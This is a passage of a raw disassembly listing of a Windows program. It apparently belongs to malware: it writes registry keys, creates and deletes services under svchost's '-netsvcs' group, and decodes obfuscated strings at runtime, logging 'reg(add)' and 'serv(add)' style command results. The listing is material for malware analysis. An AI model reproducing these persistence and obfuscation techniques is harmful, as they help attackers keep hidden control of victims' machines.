[esp+80h+var_70] push edx call near ptr 2910000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx call near ptr 2910000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2910000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2910000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 2910B29h mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449844 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi call near ptr 2920000h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 nop call near ptr 27C08B7h cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi nop call near ptr 292029Dh lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx call near ptr 292052Eh nop test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2910B29h mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28B0466h mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 292029Dh pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 2910591h nop push esi call near ptr 2910970h nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2910B29h mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 28B0466h test eax, eax jnz short loc_40F146 push esi call near ptr 292029Dh nop xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2910B29h nop mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28B0466h mov esi, eax test esi, esi jnz short loc_40F1CB push edi nop call near ptr 292029Dh pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi call near ptr 2900C56h nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F40 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 nop call near ptr 27E0CD2h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_449104 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_449108 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_44910C call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449110 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov 